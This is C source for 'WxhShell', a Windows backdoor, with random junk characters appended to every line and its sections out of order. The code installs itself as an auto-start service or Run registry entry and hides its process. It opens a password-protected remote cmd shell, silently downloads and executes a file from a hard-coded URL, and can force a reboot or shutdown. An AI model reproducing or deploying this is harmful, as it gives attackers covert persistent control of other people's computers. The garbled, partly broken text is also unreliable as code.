    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m|a9T#B(  
    if(Boot(SHUTDOWN)) Hq3|>OqC2Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lSj gN~:z  
    else { p=8Qv  
    closesocket(wsh); OxlA)$.hpu  
    ExitThread(0); d>NGCe  
    } Av X1*  
    break; ]P4WfV d  
    } /x<g$!`X  
  // 获取shell o-,."|6  
  case 's': { o<`vh*U@,4  
    CmdShell(wsh); KII{GDR]  
    closesocket(wsh); *Rgr4-eS  
    ExitThread(0); ?|nl93m  
    break; :ym?]EL4o  
  } P"YdB|I  
  // 退出 ]z'&oz  
  case 'x': {  q6 CrUn  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <I+kB^Er  
    CloseIt(wsh); mG~_*8}e<  
    break; 3]Z1kB  
    } ~# -?V[  
  // 离开 K9!HW&?<|  
  case 'q': { !8{ VLg  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); K$"#SZEi  
    closesocket(wsh); aukcO ;oG<  
    WSACleanup(); -JW~_Q[  
    exit(1); <2$vo  
    break; ER0 Yl  
        } CSM"Kz`  
  } GO"`{|o  
  } s :vNr@TS  
gf|uZ9{  
  // 提示信息 ~Y 6'sM|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  |/Nh#  
} L%'J]HL-  
  } #'L<7t K  
DfXkLOGik  
  return; @rl5k(  
} iaGA9l<b  
l;?:}\sI=  
// shell模块句柄 i:lc]B  
int CmdShell(SOCKET sock) u3T-U_:jSV  
{ ^q7V%{54  
STARTUPINFO si; TxrW69FV7  
ZeroMemory(&si,sizeof(si)); lriezI  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u$ts>Q;5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;6tra_  
PROCESS_INFORMATION ProcessInfo; ]OAU&t{  
char cmdline[]="cmd"; ot0teNF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _4{0He`q  
  return 0; &l(T},-X  
} wNB?3v{n  
@0+\:F  
// 自身启动模式 ($di]lbsT  
int StartFromService(void) G[64qhTC  
{ Gu;40)gm  
typedef struct vYgJu-Sl  
{ TWP@\ BQ  
  DWORD ExitStatus; }m:paB"3  
  DWORD PebBaseAddress; x39tnf/F  
  DWORD AffinityMask; ,NO[Piok  
  DWORD BasePriority; xP8/1wd.  
  ULONG UniqueProcessId; mnt&!X4<  
  ULONG InheritedFromUniqueProcessId; .k#PrT1C  
}   PROCESS_BASIC_INFORMATION; oj8r*  
2&hv6Y1  
PROCNTQSIP NtQueryInformationProcess; SKG U)Rn;  
n:AZ(f   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; SSe;&Jk2d  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u`ir(JIj]  
.Xlo-gHk  
  HANDLE             hProcess; rwWOhD)RU  
  PROCESS_BASIC_INFORMATION pbi; {_7hX`p  
;~3;CijJ8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L*0YOE%=]  
  if(NULL == hInst ) return 0; Z%~}*F}7X  
_L,~WYRo  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !t%1G.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E:` _P+2p  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ju2H 0AQ  
&r,vD,  
  if (!NtQueryInformationProcess) return 0; h;=~%2Y  
\Z.r Pq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }B%9cc  
  if(!hProcess) return 0; enk`I$Xx  
N8]DzE0%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %[XP}L$  
jV% VN  
  CloseHandle(hProcess); <?41-p-;  
`.@udfog^0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5K Ij}VN  
if(hProcess==NULL) return 0; '`8 ^P  
% J\G[dl  
HMODULE hMod; $YJ 1P  
char procName[255]; QRQ{Bq}#  
unsigned long cbNeeded; bI.hG32  
VjM/'V5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k7uX!}  
CG uuadNI  
  CloseHandle(hProcess); :@(1~Hm  
\: ZDY(>1  
if(strstr(procName,"services")) return 1; // 以服务启动 Zx8$M5  
nLL2/!'n  
  return 0; // 注册表启动 , S^y>  
} Pk&=\i<  
E2|M#Y  
// 主模块 0L;,\&*u  
int StartWxhshell(LPSTR lpCmdLine) 27}:f?2hbJ  
{ <hzHrx'o{  
  SOCKET wsl; 9q]f]S.L  
BOOL val=TRUE; "tT4Cb3  
  int port=0; ,b^Y8_ltoT  
  struct sockaddr_in door; } ew{WD  
$c*fbBM(&n  
  if(wscfg.ws_autoins) Install(); ^/%o I;O{  
uj;iE 9  
port=atoi(lpCmdLine); #@nPB.  
}S"gZ6   
if(port<=0) port=wscfg.ws_port; \[!{tbK`2  
YdV.+v(30  
  WSADATA data; 2V 8 "jc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RrLj5Jq  
EFiVwH  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5X8 i=M;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); foPM5+.G  
  door.sin_family = AF_INET; q'fOlq  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I3Co   
  door.sin_port = htons(port); `]]m$  
S#CaJ}M  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [cFD\"gJAr  
closesocket(wsl); aQH]hLvs  
return 1; ZK ?V{X{";  
} qAp <OJ  
P:J|![   
  if(listen(wsl,2) == INVALID_SOCKET) { H.hKh  
closesocket(wsl); "z6p=B"?3  
return 1; {%6 '|<`[  
} +dCR$<e9r  
  Wxhshell(wsl); Nnn~7  
  WSACleanup(); D,$M$f1  
G(A7=8vW  
return 0;  "X=^MGV  
p  Dg!Cs  
} 1z; !)pG.  
5T"h7^}e  
// 以NT服务方式启动 O*2{V]Y @  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c.Izm+9k  
{ I+Y Z+  
DWORD   status = 0; N f?\O@  
  DWORD   specificError = 0xfffffff; ui"`c%2n  
}<z [t5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Z3<lJk\Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !#1UTa  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >y}> 5kv  
  serviceStatus.dwWin32ExitCode     = 0; aA%x9\Y  
  serviceStatus.dwServiceSpecificExitCode = 0; <%4pvn8d?&  
  serviceStatus.dwCheckPoint       = 0; 'mv|6Y  
  serviceStatus.dwWaitHint       = 0; 'D[ *|Qcy  
~urk Uz  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lh\`9F:  
  if (hServiceStatusHandle==0) return; nbw8YO(=  
#BEXj<m+J  
status = GetLastError(); G=Xas"|  
  if (status!=NO_ERROR) Nog{w  
{ YYe<StyH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .i7"qq.M  
    serviceStatus.dwCheckPoint       = 0; X#W6;?Z\  
    serviceStatus.dwWaitHint       = 0; .<K9Zyi  
    serviceStatus.dwWin32ExitCode     = status; Qc Xw -  
    serviceStatus.dwServiceSpecificExitCode = specificError; V+u0J"/8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %~dn5t ;  
    return; ZSwhI@|  
  } %@I= $8j  
Rs'mk6+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; HT_nxe`E  
  serviceStatus.dwCheckPoint       = 0; W Emh  
  serviceStatus.dwWaitHint       = 0; 47 &p*=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }y|_v^  
} e{Mkwi+j  
-ADb5-px  
// 处理NT服务事件,比如:启动、停止 ?+]   
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~:b5UIAk  
{ >(gbUW  
switch(fdwControl) *Xu?(Jd  
{ H/0b3I^  
case SERVICE_CONTROL_STOP: :K*/  
  serviceStatus.dwWin32ExitCode = 0; 8[)"+IFN  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L3S29-T  
  serviceStatus.dwCheckPoint   = 0; LD;! s  
  serviceStatus.dwWaitHint     = 0; q' t"  
  { @ +>>TGC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RHI?_gf&  
  } (]"`>, ray  
  return; T#YJ5Xw  
case SERVICE_CONTROL_PAUSE: r#mH[|@W~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]%(X }]}  
  break; .A7ON1lc^C  
case SERVICE_CONTROL_CONTINUE: 8$ _8Yva"e  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jq[Q>"f  
  break; DbN_(mC  
case SERVICE_CONTROL_INTERROGATE: Zu ![v0  
  break; Q/l388'  
}; fTI~wF8!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E7U.>8C  
} 9!Bz)dJ 3  
JIMi~mEiN  
// 标准应用程序主函数 h(FFG%H(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p v*f]Yzx  
{ i7O8f^|  
j2%M-y4E  
// 获取操作系统版本 XNkZ^3mq  
OsIsNt=GetOsVer(); \~:_ h#bW  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 810uxw{\  
eq4Yc*|9  
  // 从命令行安装 ej]>*n  
  if(strpbrk(lpCmdLine,"iI")) Install(); q} p (p( N  
aB~=WWLR\  
  // 下载执行文件 {xQ(xy  
if(wscfg.ws_downexe) { DP &*P/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bP1]:^ x@W  
  WinExec(wscfg.ws_filenam,SW_HIDE); k mX:~KMb  
} .10$n*  
a q]bF%7  
if(!OsIsNt) { fsV_>5I6  
// 如果时win9x,隐藏进程并且设置为注册表启动 ft Rza  
HideProc(); ]= 9^wS  
StartWxhshell(lpCmdLine); l\t<_p/I)^  
} zy@ nBi^  
else @l&>C#K\  
  if(StartFromService()) 2~!+EH  
  // 以服务方式启动 L[}Ak1 A  
  StartServiceCtrlDispatcher(DispatchTable); V?-OI>  
else @l@erCw@  
  // 普通方式启动 )C#b83  
  StartWxhshell(lpCmdLine); hdy N   
=o,6iJ^?$m  
return 0; "S0WFP\P+  
} f/%Q MhM:  
FSkz[D_}  
f VpE&F  
2!g7F`/B  
=========================================== >WYradLUi  
hH=}<@z   
]"-c?%L  
8G|kKpX  
vUgMfy&  
M%1wT9  
" 0I"r*;9?K  
:B5M#D!dO  
#include <stdio.h> J=AF`[  
#include <string.h> <~-cp61z;  
#include <windows.h> rnS&^  
#include <winsock2.h> "/qm,$  
#include <winsvc.h> ;n;bap  
#include <urlmon.h> -)$5[jM]  
@_C?M5v  
#pragma comment (lib, "Ws2_32.lib") B0"55g*c  
#pragma comment (lib, "urlmon.lib") 8;1,saA_9  
y6N }R  
#define MAX_USER   100 // 最大客户端连接数 2mfKy9QxO  
#define BUF_SOCK   200 // sock buffer ;A;FR3=)  
#define KEY_BUFF   255 // 输入 buffer db5@+_  
.GOF0puiM  
#define REBOOT     0   // 重启 @;ob 4sU  
#define SHUTDOWN   1   // 关机 Eao^/MKx-  
rM{V>s:N  
#define DEF_PORT   5000 // 监听端口 Hw 1cc3!  
z"j]m_m H  
#define REG_LEN     16   // 注册表键长度 GLE"[!s]f  
#define SVC_LEN     80   // NT服务名长度 s8iB>-dk  
6PdLJ#LS  
// 从dll定义API Uy5G,!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); u5E\wRn  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); uo[W|Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #f-pkeaeq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :XaBCF*  
VFLW @  
// wxhshell配置信息 R gTrj  
struct WSCFG { 8\B]!  
  int ws_port;         // 监听端口 xmNs<mz  
  char ws_passstr[REG_LEN]; // 口令 kYnp$8  
  int ws_autoins;       // 安装标记, 1=yes 0=no '4]_~?&x  
  char ws_regname[REG_LEN]; // 注册表键名 ]x:>!y  
  char ws_svcname[REG_LEN]; // 服务名 ]o3K  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1XPYI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8c^Hfjr0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?3Y~q;I]O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no s{ dgUX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w$4*/D}Y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Zj5B}[,l\  
c 4Wl^E 8  
}; wjc&S'[  
]mT2a8`c.r  
// default Wxhshell configuration bd)'1;p  
struct WSCFG wscfg={DEF_PORT, Q]hl+C$d"/  
    "xuhuanlingzhe", RAB'%CY4  
    1, i.Z iLDs\7  
    "Wxhshell", U\GuCw  
    "Wxhshell", |*n B2  
            "WxhShell Service", EaKbG>  
    "Wrsky Windows CmdShell Service", FL E3LH  
    "Please Input Your Password: ", 7^W(es  
  1, J^y?nE(j  
  "http://www.wrsky.com/wxhshell.exe", ]8/g[Ii  
  "Wxhshell.exe" \qz! v  
    }; V_/.]zQA  
2KtK.2;7  
// 消息定义模块 Fxv5kho  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; dCpDA a3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; DPr~DO`b  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]\m >N]P]  
char *msg_ws_ext="\n\rExit."; yS1i$[JV  
char *msg_ws_end="\n\rQuit."; X.+|o@G  
char *msg_ws_boot="\n\rReboot..."; ;cfPS  
char *msg_ws_poff="\n\rShutdown..."; y;<F|zIm  
char *msg_ws_down="\n\rSave to "; Z -fiJ75  
l 1vI  
char *msg_ws_err="\n\rErr!"; X^Fc^U8  
char *msg_ws_ok="\n\rOK!"; :}z `4S@b  
*Gul|Lp$<I  
char ExeFile[MAX_PATH]; d9up! k  
int nUser = 0; mgMa)yc!dp  
HANDLE handles[MAX_USER]; M $f6. j  
int OsIsNt; a:Nf +t  
'0w</g  
SERVICE_STATUS       serviceStatus; D)tL}X$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4W#DLip9  
0< 93i   
// 函数声明 0f#xyS 3  
int Install(void); JOH\K0=e  
int Uninstall(void); 9yz@hdG  
int DownloadFile(char *sURL, SOCKET wsh); ]>B4  
int Boot(int flag); _L+j6N.h1  
void HideProc(void); 0n}v"61q  
int GetOsVer(void); ne: 'aq  
int Wxhshell(SOCKET wsl); f,x;t-o+R  
void TalkWithClient(void *cs); }U'  
int CmdShell(SOCKET sock); hn~btu 9h  
int StartFromService(void); !jvl"+_FV  
int StartWxhshell(LPSTR lpCmdLine); 4n"6<cO5q  
(eAz nTU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +NbiUCMX  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &(lQgi+^!  
'{-Ic?F<P  
// 数据结构和表定义 yf7|/M  
SERVICE_TABLE_ENTRY DispatchTable[] = zz!jt A  
{ HX)]@qL  
{wscfg.ws_svcname, NTServiceMain}, =X9fn  
{NULL, NULL} 4/%Y@Z5  
}; <<b]v I  
\d*ts(/a*  
// 自我安装 Gu@C* .jj!  
int Install(void) {Kf5a m  
{ JfY(};&  
  char svExeFile[MAX_PATH]; ':3[?d1Es  
  HKEY key; Q :.i[  
  strcpy(svExeFile,ExeFile); .9N7`  
na|sKE;{  
// 如果是win9x系统,修改注册表设为自启动 N6v?Qzvi  
if(!OsIsNt) { li,rPUCt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8Ihl}aguW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2W2T  
  RegCloseKey(key); +xvn n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y$9! rbL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =H3tkMoi2  
  RegCloseKey(key); <nb%$2r1  
  return 0; k~gOL#$  
    } "}wO<O6[  
  } K7([Gc9  
} +g kJrw  
else { D6H?*4f]  
8\^A;5  
// 如果是NT以上系统,安装为系统服务 rlGv6)vb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ' ,S}X\  
if (schSCManager!=0) d^J)Mhju  
{ k}p8"'O  
  SC_HANDLE schService = CreateService g8l6bh$}  
  ( Fe4>G8uuwn  
  schSCManager, IRwtM'%0  
  wscfg.ws_svcname, !><asaB]1  
  wscfg.ws_svcdisp, fIl!{pv[  
  SERVICE_ALL_ACCESS, \PUJD,9H  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8#V D u(  
  SERVICE_AUTO_START, HFI0\*xn(  
  SERVICE_ERROR_NORMAL, TYb$+uY  
  svExeFile, !yxqOT-  
  NULL, ]d-.Mw,'  
  NULL, R"9w VM;*c  
  NULL, Z.u 1Dz  
  NULL, yk)]aqic  
  NULL `d$@1  
  ); ~!5=o{wy  
  if (schService!=0) QxdC[t$Lp  
  { w3ni@'X8  
  CloseServiceHandle(schService); {x.0Yh7  
  CloseServiceHandle(schSCManager); J-Tiwl  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,!b<SQ5M  
  strcat(svExeFile,wscfg.ws_svcname); Y}v3J(l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y:}qoT_.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j7gw?,  
  RegCloseKey(key); *$W&jfW  
  return 0; Uu5(/vw]  
    } / De~K+w7o  
  } ]5c(:T F  
  CloseServiceHandle(schSCManager); +IWH7qRtp  
} m]!hP^^  
} ~(ke'`gJ0-  
 '2*OrY  
return 1; LCH\;07V#  
} H{vKk  
,M;9|kE*  
// 自我卸载 L|T?,^  
int Uninstall(void) 8ROKfPj;z  
{ 0DmA3  
  HKEY key; hj9TiH/+  
AtG~!)hG  
if(!OsIsNt) { o+A1-&qhN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {g<D:"Q  
  RegDeleteValue(key,wscfg.ws_regname); o5tCbsHj-  
  RegCloseKey(key); { uaDpRt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )*;Tt @'y  
  RegDeleteValue(key,wscfg.ws_regname); M% \ T5  
  RegCloseKey(key); ],pB:=  
  return 0; J8alqs7  
  } 4SJ aAeIZ  
} )N&SrzqTK  
} 7@fS2mu  
else { A _zCSRF,  
# dWz,e3   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @%Ld\8vdfJ  
if (schSCManager!=0) N|DI k  
{ xo_STLAw  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {r&mNbz  
  if (schService!=0) AygdAg'\  
  { tb+gCs'D  
  if(DeleteService(schService)!=0) { [Y .8C$0  
  CloseServiceHandle(schService); DWt|lO  
  CloseServiceHandle(schSCManager); JY#vq'dl|  
  return 0; lPR=C0h}@  
  } kg7F8($  
  CloseServiceHandle(schService); c`!e#w  
  } i-OD"5a`  
  CloseServiceHandle(schSCManager); ?%  24M\  
} AOR?2u  
} D$}8GYq  
)}@D\(/@  
return 1; SsZC g#i  
} %Rc#/y  
2?t@<M]  
// 从指定url下载文件 _`udd)Y2  
int DownloadFile(char *sURL, SOCKET wsh) +; KUL6  
{ VhUWws3E  
  HRESULT hr;  ##rkyd  
char seps[]= "/"; ka9@7IFM  
char *token; =0g!Q   
char *file; MYS`@%ZV#k  
char myURL[MAX_PATH]; 6<];}M_{  
char myFILE[MAX_PATH]; 'Cc~|gOgD  
O+}py{ st  
strcpy(myURL,sURL); 8_('[89m  
  token=strtok(myURL,seps); v76Gwu$ d  
  while(token!=NULL) 9&Jf4lC94  
  { kW/G=_6  
    file=token; mJUM#ry  
  token=strtok(NULL,seps); *:n~j9V-  
  } Z3S+")^  
Nm?^cR5r  
GetCurrentDirectory(MAX_PATH,myFILE); Y2r}W3F=  
strcat(myFILE, "\\"); uHgq"e  
strcat(myFILE, file); ?\V#^q-  
  send(wsh,myFILE,strlen(myFILE),0); W8d-4')|  
send(wsh,"...",3,0); <fUo@]Lv  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i>Q!5  
  if(hr==S_OK) h=#w< @  
return 0; :ppaq  
else |MwV4^  
return 1; P.]h`4  
TjUwe@&Rw  
} r<vMp'u  
#t ;`  
// 系统电源模块 [neuwdN  
int Boot(int flag) 4IeCb?  
{ Scrj%h%[  
  HANDLE hToken; q1}!Okr"2  
  TOKEN_PRIVILEGES tkp; /|?$C7%a\D  
igxO:]?  
  if(OsIsNt) { j"qND=15  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 25SWIpgG  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jK w 96  
    tkp.PrivilegeCount = 1; 6w^P{%ul  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [HILK `@@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  2v{WX  
if(flag==REBOOT) { pfN(Ae Pt  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _ Sr}3  
  return 0; Kip&YB%rk  
} `2.c=,S{  
else { _uIS[%4g  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) p@tg pFt  
  return 0; ?bZH Aed  
} cN,*QN  
  } `!]|lI!GW  
  else { &;@L] o  
if(flag==REBOOT) { <],{at` v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $k~TVm Yex  
  return 0; !T0I; j&  
} }A3/(  
else { 9j 2t|D4uT  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y'2|E+*V  
  return 0; .6wPpLG?{  
} }5 rR^ryA  
} &4?&tGi  
Qq,2V  
return 1; 6GxLaI  
} 82LE9<4A  
p2STy\CS  
// win9x进程隐藏模块 ^j}C]cq{Xg  
void HideProc(void) "^]gIQc  
{ YmV/[{  
]1 f^ SxSI  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >=@-]X2%j  
  if ( hKernel != NULL ) &N} "4  
  { SzW;Yb"#^k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0Ui.nz j  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `J.,dqGb  
    FreeLibrary(hKernel); x=*&#; Y|  
  } Y% iqSY  
63fYX"  
return; ,.)wCZ,wca  
} X$kLBG_  
Pe%[d[ k  
// 获取操作系统版本 p4VARAqi  
int GetOsVer(void) Mq> 4!  
{ !JCs'?A  
  OSVERSIONINFO winfo; V(S7mA:T  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v-8>@s jy8  
  GetVersionEx(&winfo); K6v~!iiK$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lSX1|,B7:]  
  return 1; Q>1BOH1by  
  else 45yP {+/-Q  
  return 0; Nc+0_|,  
} MzvhE0ab  
C*Q7@+&  
// 客户端句柄模块 YmljHQP  
int Wxhshell(SOCKET wsl) 5IU!BQU  
{ )LP'4*  
  SOCKET wsh; k3Yu"GY^  
  struct sockaddr_in client; 4  %0s p  
  DWORD myID; uaIAVBRcS  
:w8{BIUN)  
  while(nUser<MAX_USER) >iT mILA  
{ vobC/m  
  int nSize=sizeof(client); xw*e`9vAe  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {K|?i9K  
  if(wsh==INVALID_SOCKET) return 1; R0?bcP&  
MHwfJ{"zo  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {6u)EJ  
if(handles[nUser]==0) R}oN8  
  closesocket(wsh); >LPb>t5%p  
else 7-S?RU]g  
  nUser++; *f+s  
  } ANm@$xO*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1Ek3^TOv7  
9a_P 9s3w  
  return 0; j*3;G+  
} 5*z>ez2YQ7  
,i_+Z |Ls  
// 关闭 socket [Qs`@u<%  
void CloseIt(SOCKET wsh) Zfs-M)  
{ a?gF;AYk  
closesocket(wsh); ykQb;ZP8jh  
nUser--; }Y-V!z5z!  
ExitThread(0); )WvKRp r  
} NDRD PD  
)?{<Tt@  
// 客户端请求句柄 Oti;wf G7o  
void TalkWithClient(void *cs) hNc8uV{r=  
{ z$&B7?  
jt oS{B,  
  SOCKET wsh=(SOCKET)cs; _`gF%$]b  
  char pwd[SVC_LEN]; 4 QQt 0u0  
  char cmd[KEY_BUFF]; i&DbZ=n2  
char chr[1]; DVd8Ix<  
int i,j; fV+a0=Z  
WSpF/Wwc  
  while (nUser < MAX_USER) { C2<TR PT  
4`?PtRX  
if(wscfg.ws_passstr) { LB@<Q.b,U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); * o1US  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L\mF[Kd#+T  
  //ZeroMemory(pwd,KEY_BUFF); /J^dz vH  
      i=0; EI=~*&t  
  while(i<SVC_LEN) { X !h>13fW  
 Ht.P670  
  // 设置超时 '$,yV f  
  fd_set FdRead; )i /w:g>  
  struct timeval TimeOut; `N[@lV\xp!  
  FD_ZERO(&FdRead); gI7*zR4D  
  FD_SET(wsh,&FdRead); w*{{bISw|  
  TimeOut.tv_sec=8; :G6CWE  
  TimeOut.tv_usec=0; RV]#Bg*[#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @Yt394gA%\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L)M{S3q,  
gy?uk~p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XR]bd  
  pwd=chr[0]; `Fcr`[  
  if(chr[0]==0xd || chr[0]==0xa) { Uic  
  pwd=0; *& w/*h$!  
  break; e <+)IW:  
  } 1E$\&*(  
  i++; 5ppr;QaB  
    } G#Bm">+  
@@ @}FV&  
  // 如果是非法用户,关闭 socket M2V`|19Q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?9xWTVa8  
} 4Kt0}W  
<LZ#A@]71  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cQ$[Ba  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qbQdx Kk  
w3i74C&0  
while(1) { BZv:E?1z  
@u$NB3  
  ZeroMemory(cmd,KEY_BUFF); }#tbK 2[  
("(wap~<nD  
      // 自动支持客户端 telnet标准   a`:F07r  
  j=0; _x|R`1`  
  while(j<KEY_BUFF) { cY+fZ=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kXdXyq  
  cmd[j]=chr[0]; 9e.v[K~  
  if(chr[0]==0xa || chr[0]==0xd) { (mbm',%-(  
  cmd[j]=0; +9]t]Vrw  
  break; V(;T{HW&  
  } 3rMi:*?  
  j++; +P+h$gQ  
    } mS}.?[d"  
4lCbUk[l  
  // 下载文件 !r6Yq,3  
  if(strstr(cmd,"http://")) { 4h?@D_{k  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); H/*slqL  
  if(DownloadFile(cmd,wsh)) N`d%4)|{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 14l6|a  
  else ]N\D^`iQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A.yIl`'UP#  
  } 1}Guhayy  
  else { J@i9)D_  
ci+a jON  
    switch(cmd[0]) { XxeP;}  
  3A0Qjj=  
